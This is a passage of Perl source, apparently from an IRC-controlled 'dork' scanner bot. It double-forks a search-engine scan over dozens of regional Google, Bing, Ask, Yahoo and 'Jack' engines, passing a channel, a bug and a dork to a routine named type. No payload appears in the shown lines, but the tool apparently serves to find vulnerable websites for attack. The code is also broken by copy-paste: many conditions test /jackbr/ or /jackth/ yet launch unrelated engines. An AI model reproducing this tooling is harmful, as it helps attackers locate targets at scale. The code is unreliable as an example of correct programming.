  448.         if ($engine =~ /jackat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAT",$type); } exit; } }
  449.         if ($engine =~ /jackau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAU",$type); } exit; } }
  450.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBE",$type); } exit; } }
  451.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBG",$type); } exit; } }
  452.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBR",$type); } exit; } }
  453.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBY",$type); } exit; } }
  454.         if ($engine =~ /jackca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCA",$type); } exit; } }
  455.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCK",$type); } exit; } }
  456.         if ($engine =~ /jackcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCL",$type); } exit; } }
  457.         if ($engine =~ /jackcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCN",$type); } exit; } }
  458.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCO",$type); } exit; } }
  459.         if ($engine =~ /jackcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCoM",$type); } exit; } }
  460.         if ($engine =~ /jackcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCZ",$type); } exit; } }
  461.         if ($engine =~ /jackde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKDE",$type); } exit; } }
  462.         if ($engine =~ /jackdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKDK",$type); } exit; } }
  463.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKEC",$type); } exit; } }
  464.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKEDU",$type); } exit; } }
  465.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKEE",$type); } exit; } }
  466.         if ($engine =~ /jackes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKES",$type); } exit; } }
  467.         if ($engine =~ /jackeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKEU",$type); } exit; } }
  468.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKFI",$type); } exit; } }
  469.         if ($engine =~ /jackfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKFR",$type); } exit; } }
  470.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKGR",$type); } exit; } }
  471.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKGOV",$type); } exit; } }
  472.         if ($engine =~ /jackhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKHU",$type); } exit; } }
  473.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKHK",$type); } exit; } }
  474.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKHR",$type); } exit; } }
  475.         if ($engine =~ /jackid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKID",$type); } exit; } }
  476.         if ($engine =~ /jackil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIL",$type); } exit; } }
  477.         if ($engine =~ /jackin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIN",$type); } exit; } }
  478.         if ($engine =~ /jackinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKInfO",$type); } exit; } }
  479.         if ($engine =~ /jackir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIR",$type); } exit; } }
  480.         if ($engine =~ /jackit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIT",$type); } exit; } }
  481.         if ($engine =~ /jackjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKJP",$type); } exit; } }
  482.         if ($engine =~ /jackkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKKR",$type); } exit; } }
  483.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKLV",$type); } exit; } }
  484.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMD",$type); } exit; } }
  485.         if ($engine =~ /jackmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMX",$type); } exit; } }
  486.         if ($engine =~ /jackmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMY",$type); } exit; } }
  487.         if ($engine =~ /jacknet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNeT",$type); } exit; } }
  488.         if ($engine =~ /jacknl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNL",$type); } exit; } }
  489.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNO",$type); } exit; } }
  490.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNZ",$type); } exit; } }
  491.         if ($engine =~ /jackorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKOrG",$type); } exit; } }
  492.         if ($engine =~ /jackph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPH",$type); } exit; } }
  493.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPK",$type); } exit; } }
  494.         if ($engine =~ /jackpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPL",$type); } exit; } }
  495.         if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPT",$type); } exit; } }
  496.         if ($engine =~ /jackro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKRO",$type); } exit; } }
  497.         if ($engine =~ /jackru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKRU",$type); } exit; } }
  498.         if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKTH",$type); } exit; } }
  499.     if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKTK",$type); } exit; } }
  500.         if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKTR",$type); } exit; } }
  501.         if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKTV",$type); } exit; } }
  502.         if ($engine =~ /jackua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUA",$type); } exit; } }
  503.         if ($engine =~ /jackuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUK",$type); } exit; } }
  504.         if ($engine =~ /jackus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUS",$type); } exit; } }
  505.         if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKVN",$type); } exit; } }
  506.         if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKWS",$type); } exit; } }
  507.         if ($engine =~ /jacksi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKSI",$type); } exit; } }
  508.         if ($engine =~ /jackbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKZA",$type); } exit; } }
  509.         if ($engine =~ /jackbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBIZ",$type); } exit; } }
  510.         if ($gps2 ==1) {
  511.     if ($engine =~ /google/i) {
  512.         if (my $pid = fork) { waitpid($pid, 0); }
  513.         else { if (fork) { exit; } else {
  514.                 &type($chan,$bug,$dork,"GooGLe",$type);
  515.         } exit; }
  516.     }
  517.     if ($engine =~ /googleINT/i) {
  518.         if (my $pid = fork) { waitpid($pid, 0); }
  519.         else { if (fork) { exit; } else {
  520.                 &type($chan,$bug,$dork,"GooGLeINT",$type);
  521.         } exit; }
  522.     }
  523.     if ($engine =~ /googleCA/i) {
  524.         if (my $pid = fork) { waitpid($pid, 0); }
  525.         else { if (fork) { exit; } else {
  526.                 &type($chan,$bug,$dork,"GooGLeCA",$type);
  527.         } exit; }
  528.     }
  529.     if ($engine =~ /googleDE/i) {
  530.         if (my $pid = fork) { waitpid($pid, 0); }
  531.         else { if (fork) { exit; } else {
  532.                 &type($chan,$bug,$dork,"GooGLeDE",$type);
  533.         } exit; }
  534.     }
  535.     if ($engine =~ /googleUK/i) {
  536.         if (my $pid = fork) { waitpid($pid, 0); }
  537.         else { if (fork) { exit; } else {
  538.                 &type($chan,$bug,$dork,"GooGLeUK",$type);
  539.         } exit; }
  540.     }
  541.     if ($engine =~ /googleFR/i) {
  542.         if (my $pid = fork) { waitpid($pid, 0); }
  543.         else { if (fork) { exit; } else {
  544.                 &type($chan,$bug,$dork,"GooGLeFR",$type);
  545.         } exit; }
  546.     }
  547.     if ($engine =~ /googleIT/i) {
  548.         if (my $pid = fork) { waitpid($pid, 0); }
  549.         else { if (fork) { exit; } else {
  550.                 &type($chan,$bug,$dork,"GooGLeIT",$type);
  551.         } exit; }
  552.     }
  553.     if ($engine =~ /googleNL/i) {
  554.         if (my $pid = fork) { waitpid($pid, 0); }
  555.         else { if (fork) { exit; } else {
  556.                 &type($chan,$bug,$dork,"GooGLeNL",$type);
  557.         } exit; }
  558.     }
  559.     if ($engine =~ /googleBE/i) {
  560.         if (my $pid = fork) { waitpid($pid, 0); }
  561.         else { if (fork) { exit; } else {
  562.                 &type($chan,$bug,$dork,"GooGLeBE",$type);
  563.         } exit; }
  564.     }
  565.     if ($engine =~ /googleCH/i) {
  566.         if (my $pid = fork) { waitpid($pid, 0); }
  567.         else { if (fork) { exit; } else {
  568.                 &type($chan,$bug,$dork,"GooGLeCH",$type);
  569.         } exit; }
  570.     }
  571.     if ($engine =~ /googleSE/i) {
  572.         if (my $pid = fork) { waitpid($pid, 0); }
  573.         else { if (fork) { exit; } else {
  574.                 &type($chan,$bug,$dork,"GooGLeSE",$type);
  575.         } exit; }
  576.     }
  577.     if ($engine =~ /googleDK/i) {
  578.         if (my $pid = fork) { waitpid($pid, 0); }
  579.         else { if (fork) { exit; } else {
  580.                 &type($chan,$bug,$dork,"GooGLeDK",$type);
  581.         } exit; }
  582.     }
  583.     if ($engine =~ /googleNO/i) {
  584.         if (my $pid = fork) { waitpid($pid, 0); }
  585.         else { if (fork) { exit; } else {
  586.                 &type($chan,$bug,$dork,"GooGLeNO",$type);
  587.         } exit; }
  588.     }
  589.     if ($engine =~ /googleNZ/i) {
  590.         if (my $pid = fork) { waitpid($pid, 0); }
  591.         else { if (fork) { exit; } else {
  592.                 &type($chan,$bug,$dork,"GooGLeNZ",$type);
  593.         } exit; }
  594.     }
  595.     if ($engine =~ /googleIE/i) {
  596.         if (my $pid = fork) { waitpid($pid, 0); }
  597.         else { if (fork) { exit; } else {
  598.                 &type($chan,$bug,$dork,"GooGLeIE",$type);
  599.         } exit; }
  600.     }
  601.     if ($engine =~ /googleBR/i) {
  602.         if (my $pid = fork) { waitpid($pid, 0); }
  603.         else { if (fork) { exit; } else {
  604.                 &type($chan,$bug,$dork,"GooGLeBR",$type);
  605.         } exit; }
  606.     }
  607.     if ($engine =~ /googleAR/i) {
  608.         if (my $pid = fork) { waitpid($pid, 0); }
  609.         else { if (fork) { exit; } else {
  610.                 &type($chan,$bug,$dork,"GooGLeAR",$type);
  611.         } exit; }
  612.     }
  613.     if ($engine =~ /googleCO/i) {
  614.         if (my $pid = fork) { waitpid($pid, 0); }
  615.         else { if (fork) { exit; } else {
  616.                 &type($chan,$bug,$dork,"GooGLeCO",$type);
  617.         } exit; }
  618.     }
  619.     if ($engine =~ /googleCU/i) {
  620.         if (my $pid = fork) { waitpid($pid, 0); }
  621.         else { if (fork) { exit; } else {
  622.                 &type($chan,$bug,$dork,"GooGLeCU",$type);
  623.         } exit; }
  624.     }
  625.     if ($engine =~ /googleCL/i) {
  626.         if (my $pid = fork) { waitpid($pid, 0); }
  627.         else { if (fork) { exit; } else {
  628.                 &type($chan,$bug,$dork,"GooGLeCL",$type);
  629.         } exit; }
  630.     }
  631.     if ($engine =~ /googleMX/i) {
  632.         if (my $pid = fork) { waitpid($pid, 0); }
  633.         else { if (fork) { exit; } else {
  634.                 &type($chan,$bug,$dork,"GooGLeMX",$type);
  635.         } exit; }
  636.     }
  637.     if ($engine =~ /googleAU/i) {
  638.         if (my $pid = fork) { waitpid($pid, 0); }
  639.         else { if (fork) { exit; } else {
  640.                 &type($chan,$bug,$dork,"GooGLeAU",$type);
  641.         } exit; }
  642.     }
  643.     if ($engine =~ /googleRU/i) {
  644.         if (my $pid = fork) { waitpid($pid, 0); }
  645.         else { if (fork) { exit; } else {
  646.                 &type($chan,$bug,$dork,"GooGLeRU",$type);
  647.         } exit; }
  648.     }
  649.     if ($engine =~ /googleAT/i) {
  650.         if (my $pid = fork) { waitpid($pid, 0); }
  651.         else { if (fork) { exit; } else {
  652.                 &type($chan,$bug,$dork,"GooGLeAT",$type);
  653.         } exit; }
  654.     }
  655.     if ($engine =~ /googlePL/i) {
  656.         if (my $pid = fork) { waitpid($pid, 0); }
  657.         else { if (fork) { exit; } else {
  658.                 &type($chan,$bug,$dork,"GooGLePL",$type);
  659.         } exit; }
  660.     }
  661.     if ($engine =~ /googleIL/i) {
  662.         if (my $pid = fork) { waitpid($pid, 0); }
  663.         else { if (fork) { exit; } else {
  664.                 &type($chan,$bug,$dork,"GooGLeIL",$type);
  665.         } exit; }
  666.     }
  667.     if ($engine =~ /googleTR/i) {
  668.         if (my $pid = fork) { waitpid($pid, 0); }
  669.         else { if (fork) { exit; } else {
  670.                 &type($chan,$bug,$dork,"GooGLeTR",$type);
  671.         } exit; }
  672.     }
  673.     if ($engine =~ /googleUA/i) {
  674.         if (my $pid = fork) { waitpid($pid, 0); }
  675.         else { if (fork) { exit; } else {
  676.                 &type($chan,$bug,$dork,"GooGLeUA",$type);
  677.         } exit; }
  678.     }
  679.     if ($engine =~ /googleGR/i) {
  680.         if (my $pid = fork) { waitpid($pid, 0); }
  681.         else { if (fork) { exit; } else {
  682.                 &type($chan,$bug,$dork,"GooGLeGR",$type);
  683.         } exit; }
  684.     }
  685.     if ($engine =~ /googleJP/i) {
  686.         if (my $pid = fork) { waitpid($pid, 0); }
  687.         else { if (fork) { exit; } else {
  688.                 &type($chan,$bug,$dork,"GooGLeJP",$type);
  689.         } exit; }
  690.     }
  691.     if ($engine =~ /googleCN/i) {
  692.         if (my $pid = fork) { waitpid($pid, 0); }
  693.         else { if (fork) { exit; } else {
  694.                 &type($chan,$bug,$dork,"GooGLeCN",$type);
  695.         } exit; }
  696.     }
  697.     if ($engine =~ /googleMY/i) {
  698.         if (my $pid = fork) { waitpid($pid, 0); }
  699.         else { if (fork) { exit; } else {
  700.                 &type($chan,$bug,$dork,"GooGLeMY",$type);
  701.         } exit; }
  702.     }
  703.     if ($engine =~ /googleTH/i) {
  704.         if (my $pid = fork) { waitpid($pid, 0); }
  705.         else { if (fork) { exit; } else {
  706.                 &type($chan,$bug,$dork,"GooGLeTH",$type);
  707.         } exit; }
  708.     }
  709.     if ($engine =~ /googleIN/i) {
  710.         if (my $pid = fork) { waitpid($pid, 0); }
  711.         else { if (fork) { exit; } else {
  712.                 &type($chan,$bug,$dork,"GooGLeIN",$type);
  713.         } exit; }
  714.     }
  715.     if ($engine =~ /googleKR/i) {
  716.         if (my $pid = fork) { waitpid($pid, 0); }
  717.         else { if (fork) { exit; } else {
  718.                 &type($chan,$bug,$dork,"GooGLeKR",$type);
  719.         } exit; }
  720.     }
  721.     if ($engine =~ /googleRO/i) {
  722.         if (my $pid = fork) { waitpid($pid, 0); }
  723.         else { if (fork) { exit; } else {
  724.                 &type($chan,$bug,$dork,"GooGLeRO",$type);
  725.         } exit; }
  726.     }
  727.     if ($engine =~ /googleTW/i) {
  728.         if (my $pid = fork) { waitpid($pid, 0); }
  729.         else { if (fork) { exit; } else {
  730.                 &type($chan,$bug,$dork,"GooGLeTW",$type);
  731.         } exit; }
  732.     }
  733.     if ($engine =~ /googleZA/i) {
  734.         if (my $pid = fork) { waitpid($pid, 0); }
  735.         else { if (fork) { exit; } else {
  736.                 &type($chan,$bug,$dork,"GooGLeZA",$type);
  737.         } exit; }
  738.     }
  739.     if ($engine =~ /googlePT/i) {
  740.         if (my $pid = fork) { waitpid($pid, 0); }
  741.         else { if (fork) { exit; } else {
  742.                 &type($chan,$bug,$dork,"GooGLePT",$type);
  743.         } exit; }
  744.     }
  745.     if ($engine =~ /bing/i) {
  746.         if (my $pid = fork) { waitpid($pid, 0); }
  747.         else { if (fork) { exit; } else {
  748.         &type($chan,$bug,$dork,"Bing",$type);
  749.         } exit; }
  750.     }
  751.     if ($engine =~ /bingDE/i) {
  752.         if (my $pid = fork) { waitpid($pid, 0); }
  753.         else { if (fork) { exit; } else {
  754.         &type($chan,$bug,$dork,"BingDE",$type);
  755.         } exit; }
  756.     }
  757.     if ($engine =~ /bingUK/i) {
  758.         if (my $pid = fork) { waitpid($pid, 0); }
  759.         else { if (fork) { exit; } else {
  760.         &type($chan,$bug,$dork,"BingUK",$type);
  761.         } exit; }
  762.     }
  763.     if ($engine =~ /bingCA/i) {
  764.         if (my $pid = fork) { waitpid($pid, 0); }
  765.         else { if (fork) { exit; } else {
  766.         &type($chan,$bug,$dork,"BingCA",$type);
  767.         } exit; }
  768.     }
  769.     if ($engine =~ /bingBR/i) {
  770.         if (my $pid = fork) { waitpid($pid, 0); }
  771.         else { if (fork) { exit; } else {
  772.         &type($chan,$bug,$dork,"BingBR",$type);
  773.         } exit; }
  774.     }
  775.     if ($engine =~ /bingFR/i) {
  776.         if (my $pid = fork) { waitpid($pid, 0); }
  777.         else { if (fork) { exit; } else {
  778.         &type($chan,$bug,$dork,"BingFR",$type);
  779.         } exit; }
  780.     }
  781.     if ($engine =~ /bingES/i) {
  782.         if (my $pid = fork) { waitpid($pid, 0); }
  783.         else { if (fork) { exit; } else {
  784.         &type($chan,$bug,$dork,"BingES",$type);
  785.         } exit; }
  786.     }
  787.     if ($engine =~ /bingIT/i) {
  788.         if (my $pid = fork) { waitpid($pid, 0); }
  789.         else { if (fork) { exit; } else {
  790.         &type($chan,$bug,$dork,"BingIT",$type);
  791.         } exit; }
  792.     }
  793.     if ($engine =~ /bingBE/i) {
  794.         if (my $pid = fork) { waitpid($pid, 0); }
  795.         else { if (fork) { exit; } else {
  796.         &type($chan,$bug,$dork,"BingBE",$type);
  797.         } exit; }
  798.     }
  799.     if ($engine =~ /bingNL/i) {
  800.         if (my $pid = fork) { waitpid($pid, 0); }
  801.         else { if (fork) { exit; } else {
  802.         &type($chan,$bug,$dork,"BingNL",$type);
  803.         } exit; }
  804.     }
  805.     if ($engine =~ /bingPT/i) {
  806.         if (my $pid = fork) { waitpid($pid, 0); }
  807.         else { if (fork) { exit; } else {
  808.         &type($chan,$bug,$dork,"BingPT",$type);
  809.         } exit; }
  810.     }
  811.     if ($engine =~ /bingNO/i) {
  812.         if (my $pid = fork) { waitpid($pid, 0); }
  813.         else { if (fork) { exit; } else {
  814.         &type($chan,$bug,$dork,"BingNO",$type);
  815.         } exit; }
  816.     }
  817.     if ($engine =~ /bingDK/i) {
  818.         if (my $pid = fork) { waitpid($pid, 0); }
  819.         else { if (fork) { exit; } else {
  820.         &type($chan,$bug,$dork,"BingDK",$type);
  821.         } exit; }
  822.     }
  823.     if ($engine =~ /bingSE/i) {
  824.         if (my $pid = fork) { waitpid($pid, 0); }
  825.         else { if (fork) { exit; } else {
  826.         &type($chan,$bug,$dork,"BingSE",$type);
  827.         } exit; }
  828.     }
  829.     if ($engine =~ /bingCH/i) {
  830.         if (my $pid = fork) { waitpid($pid, 0); }
  831.         else { if (fork) { exit; } else {
  832.         &type($chan,$bug,$dork,"BingCH",$type);
  833.         } exit; }
  834.     }
  835.     if ($engine =~ /bingNZ/i) {
  836.         if (my $pid = fork) { waitpid($pid, 0); }
  837.         else { if (fork) { exit; } else {
  838.         &type($chan,$bug,$dork,"BingNZ",$type);
  839.         } exit; }
  840.     }
  841.     if ($engine =~ /bingRU/i) {
  842.         if (my $pid = fork) { waitpid($pid, 0); }
  843.         else { if (fork) { exit; } else {
  844.         &type($chan,$bug,$dork,"BingRU",$type);
  845.         } exit; }
  846.     }
  847.     if ($engine =~ /bingJP/i) {
  848.         if (my $pid = fork) { waitpid($pid, 0); }
  849.         else { if (fork) { exit; } else {
  850.         &type($chan,$bug,$dork,"BingJP",$type);
  851.         } exit; }
  852.     }
  853.     if ($engine =~ /bingCN/i) {
  854.         if (my $pid = fork) { waitpid($pid, 0); }
  855.         else { if (fork) { exit; } else {
  856.         &type($chan,$bug,$dork,"BingCN",$type);
  857.         } exit; }
  858.     }
  859.     if ($engine =~ /bingKR/i) {
  860.         if (my $pid = fork) { waitpid($pid, 0); }
  861.         else { if (fork) { exit; } else {
  862.         &type($chan,$bug,$dork,"BingKR",$type);
  863.         } exit; }
  864.     }
  865.     if ($engine =~ /bingMX/i) {
  866.         if (my $pid = fork) { waitpid($pid, 0); }
  867.         else { if (fork) { exit; } else {
  868.         &type($chan,$bug,$dork,"BingMX",$type);
  869.         } exit; }
  870.     }
  871.     if ($engine =~ /bingAR/i) {
  872.         if (my $pid = fork) { waitpid($pid, 0); }
  873.         else { if (fork) { exit; } else {
  874.         &type($chan,$bug,$dork,"BingAR",$type);
  875.         } exit; }
  876.     }
  877.     if ($engine =~ /bingCL/i) {
  878.         if (my $pid = fork) { waitpid($pid, 0); }
  879.         else { if (fork) { exit; } else {
  880.         &type($chan,$bug,$dork,"BingCL",$type);
  881.         } exit; }
  882.     }
  883.     if ($engine =~ /bingAU/i) {
  884.         if (my $pid = fork) { waitpid($pid, 0); }
  885.         else { if (fork) { exit; } else {
  886.         &type($chan,$bug,$dork,"BingAU",$type);
  887.         } exit; }
  888.     }
  889.     if ($engine =~ /ask/i) {
  890.         if (my $pid = fork) { waitpid($pid, 0); }
  891.         else { if (fork) { exit; } else {
  892.         &type($chan,$bug,$dork,"AsK",$type);
  893.         } exit; }
  894.     }
  895.     if ($engine =~ /askCA/i) {
  896.         if (my $pid = fork) { waitpid($pid, 0); }
  897.         else { if (fork) { exit; } else {
  898.         &type($chan,$bug,$dork,"AsKCA",$type);
  899.         } exit; }
  900.     }
  901.     if ($engine =~ /askDE/i) {
  902.         if (my $pid = fork) { waitpid($pid, 0); }
  903.         else { if (fork) { exit; } else {
  904.         &type($chan,$bug,$dork,"AsKDE",$type);
  905.         } exit; }
  906.     }
  907.     if ($engine =~ /askIT/i) {
  908.         if (my $pid = fork) { waitpid($pid, 0); }
  909.         else { if (fork) { exit; } else {
  910.         &type($chan,$bug,$dork,"AsKIT",$type);
  911.         } exit; }
  912.     }
  913.     if ($engine =~ /askUK/i) {
  914.         if (my $pid = fork) { waitpid($pid, 0); }
  915.         else { if (fork) { exit; } else {
  916.         &type($chan,$bug,$dork,"AsKUK",$type);
  917.         } exit; }
  918.     }
  919.     if ($engine =~ /askFR/i) {
  920.         if (my $pid = fork) { waitpid($pid, 0); }
  921.         else { if (fork) { exit; } else {
  922.         &type($chan,$bug,$dork,"AsKFR",$type);
  923.         } exit; }
  924.     }
  925.     if ($engine =~ /askES/i) {
  926.         if (my $pid = fork) { waitpid($pid, 0); }
  927.         else { if (fork) { exit; } else {
  928.         &type($chan,$bug,$dork,"AsKES",$type);
  929.         } exit; }
  930.     }
  931.     if ($engine =~ /askRU/i) {
  932.         if (my $pid = fork) { waitpid($pid, 0); }
  933.         else { if (fork) { exit; } else {
  934.         &type($chan,$bug,$dork,"AsKRU",$type);
  935.         } exit; }
  936.     }
  937.     if ($engine =~ /askNL/i) {
  938.         if (my $pid = fork) { waitpid($pid, 0); }
  939.         else { if (fork) { exit; } else {
  940.         &type($chan,$bug,$dork,"AsKNL",$type);
  941.         } exit; }
  942.     }
  943.     if ($engine =~ /askPL/i) {
  944.         if (my $pid = fork) { waitpid($pid, 0); }
  945.         else { if (fork) { exit; } else {
  946.         &type($chan,$bug,$dork,"AsKPL",$type);
  947.         } exit; }
  948.     }
  949.     if ($engine =~ /askAT/i) {
  950.         if (my $pid = fork) { waitpid($pid, 0); }
  951.         else { if (fork) { exit; } else {
  952.         &type($chan,$bug,$dork,"AsKAT",$type);
  953.         } exit; }
  954.     }
  955.     if ($engine =~ /askSE/i) {
  956.         if (my $pid = fork) { waitpid($pid, 0); }
  957.         else { if (fork) { exit; } else {
  958.         &type($chan,$bug,$dork,"AsKSE",$type);
  959.         } exit; }
  960.     }
  961.     if ($engine =~ /askDK/i) {
  962.         if (my $pid = fork) { waitpid($pid, 0); }
  963.         else { if (fork) { exit; } else {
  964.         &type($chan,$bug,$dork,"AsKDK",$type);
  965.         } exit; }
  966.     }
  967.     if ($engine =~ /askNO/i) {
  968.         if (my $pid = fork) { waitpid($pid, 0); }
  969.         else { if (fork) { exit; } else {
  970.         &type($chan,$bug,$dork,"AsKNO",$type);
  971.         } exit; }
  972.     }
  973.     if ($engine =~ /askAU/i) {
  974.         if (my $pid = fork) { waitpid($pid, 0); }
  975.         else { if (fork) { exit; } else {
  976.         &type($chan,$bug,$dork,"AsKAU",$type);
  977.         } exit; }
  978.     }
  979.     if ($engine =~ /askBR/i) {
  980.         if (my $pid = fork) { waitpid($pid, 0); }
  981.         else { if (fork) { exit; } else {
  982.         &type($chan,$bug,$dork,"AsKBR",$type);
  983.         } exit; }
  984.     }
  985.     if ($engine =~ /askMX/i) {
  986.         if (my $pid = fork) { waitpid($pid, 0); }
  987.         else { if (fork) { exit; } else {
  988.         &type($chan,$bug,$dork,"AsKMX",$type);
  989.         } exit; }
  990.     }
  991.     if ($engine =~ /askJP/i) {
  992.         if (my $pid = fork) { waitpid($pid, 0); }
  993.         else { if (fork) { exit; } else {
  994.         &type($chan,$bug,$dork,"AsKJP",$type);
  995.         } exit; }
  996.     }
  997.     if ($engine =~ /yahoo/i) {
  998.         if (my $pid = fork) { waitpid($pid, 0); }
  999.         else { if (fork) { exit; } else {
  1000.         &type($chan,$bug,$dork,"YahOo",$type);
  1001.         } exit; }
  1002.     }
  1003.     if ($engine =~ /yahooCA/i) {
  1004.         if (my $pid = fork) { waitpid($pid, 0); }
